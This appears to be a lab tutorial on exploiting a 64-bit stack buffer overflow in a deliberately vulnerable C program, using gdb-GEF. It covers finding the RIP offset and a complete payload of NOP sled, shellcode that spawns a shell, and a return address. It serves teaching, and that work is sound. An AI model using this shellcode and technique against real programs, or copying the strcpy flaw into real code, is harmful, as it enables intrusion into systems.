2. 64 bit stack overflow

Exercise 2: Exploiting a 64-bit Stack-based Buffer Overflow

In this exercise, you will learn how to exploit a 64-bit stack-based buffer overflow vulnerability. By the end of this exercise, you should be able to craft and execute an exploit that takes advantage of a buffer overflow vulnerability in a 64-bit Linux environment.

Objectives

1. Understand the basics of stack-based buffer overflow vulnerabilities.
2. Write a vulnerable C program.
3. Compile the program without protection mechanisms.
4. Create and execute an exploit to gain control over the program's execution.

Prerequisites

1. A 64-bit Linux environment (e.g., Ubuntu).
2. Basic understanding of C programming.
3. Familiarity with Linux command line.
4. Knowledge of buffer overflows and memory layout.

Exercise Steps

Step 1: Writing a Vulnerable Program

Start with the following vulnerable C program:

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[512];
    strcpy(buf, argv[1]);
    return 0;
}
```

Save this program as `vul.c`.

Step 2: Understanding the Memory Layout

To successfully exploit the buffer overflow, you need to understand the memory layout of the program. Run the program in a debugger to observe the stack layout.

Run gdb

```
gdb vul
```

Lets craft a small script using Python to print a bunch of A’s and write it to the gdb terminal. To our understand this should crash the program.

```
(gef) run $(python2 -c 'print("A"*550)')
```

Since we are using gdb-GEF we get a view of the crashed program automatically. Inspect it and pay attention to the “stack”. Look closely at the registers, RBP and RIP. Our goal is to get control of RIP. However RIP is not in control just yet. It would have been if this was a 32-bit buffer overflow.

Why is RIP Not Overflowed?

The crucial reason the RIP register does not get directly controlled by the 'A's lies in the concept of canonical addresses in 64-bit systems. Here’s a detailed breakdown:

1. **Non-Canonical Memory Addresses**:
    - In 64-bit systems, not all 64-bit wide addresses are valid. Only addresses within a specific range are considered canonical. Non-canonical addresses are automatically invalidated by the CPU.
2. **Canonical Address Range**:
    - The valid (canonical) memory address range on a 64-bit system is capped to 48 bits. The highest valid address is `0x00007FFFFFFFFFFF`.
    - Addresses outside this range, such as `0x4141414141414141` (where 'A' = 0x41), are non-canonical. Therefore, when the CPU tries to use such addresses, it will result in an exception or crash, rather than successfully controlling the RIP register.
3. **Address Translation Complexity**:
    - Allowing 64-bit wide addresses adds unnecessary complexity to address translation mechanisms without substantial benefits, given that the current practical memory needs of applications do not require the entire 64-bit address space.
    - By restricting to 48-bit addresses, the system remains efficient while still providing a vast addressable memory space.

Step 3: Finding the RIP Offset

Lets use a built-in command in gdb-gef to create a pattern. Copy the output and paste it into in.txt

```
gef> pattern create 550
```

After copy and pasting the new pattern into in.txt, run it again.

```
gef> run $(cat in.txt)
```

Examine the RSP register. We can see our cyclic pattern. Time to find the offset

```
gef> x/wx $rsp
```

gef offers a command to easily find the offset. It should show 520, remember this number for when we craft our exploit. This offset shows when the patterns started overriding the registers. In this size of 520 we can put out shellcode with padding, another six bytes you will write the address to points to the shellcode in the buffer to execute the attack.

```
gef> pattern search $rsp
```

Step 4: Crafting our payload

Now let us look at shell code taken from the web . Its 27 bytes. Out of 520 bytes we have 27 bytes of the shell code, this spawns a shell.

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

Next we have a NOP sled or another saying, x90s are used to point the CPU to our destination. When a CPU encounters a NOP it automatically moves to the next instruction. We will need to include this in our payload.

Why use NOP (NO Operation) Sled?

- A NOP sled is a sequence of NOP (no-operation) instructions used in software exploits to direct execution flow when the exact branch target is unknown. It allows a program to "slide" through NOPs until reaching the final payload, making exploits more reliable by aligning execution with shellcode. Register $rip should have a bunch of 0x6262..

gef> r $(python2 -c 'print("\x90"*450 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x41"*43 + "b"*6)')

Lets find the address of the NOP slides. Look for any address which contains 0x909090...

```
gef> x/400x $rsp
```

Let's change the payload to have an instruction to return to with the one you've picked (one covered with x90s). Since our system is little endian we have to write it in reverse. 0x7fffffffe040

gef> r $(python2 -c 'print("\x90"*450 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\x41"*43 + "\x40\xe0\xff\xff\xff\x7f")')

After running it through gdb we should get a shell in the same terminal. Type ls to verify. Congrats you've done a 64-bit overflow.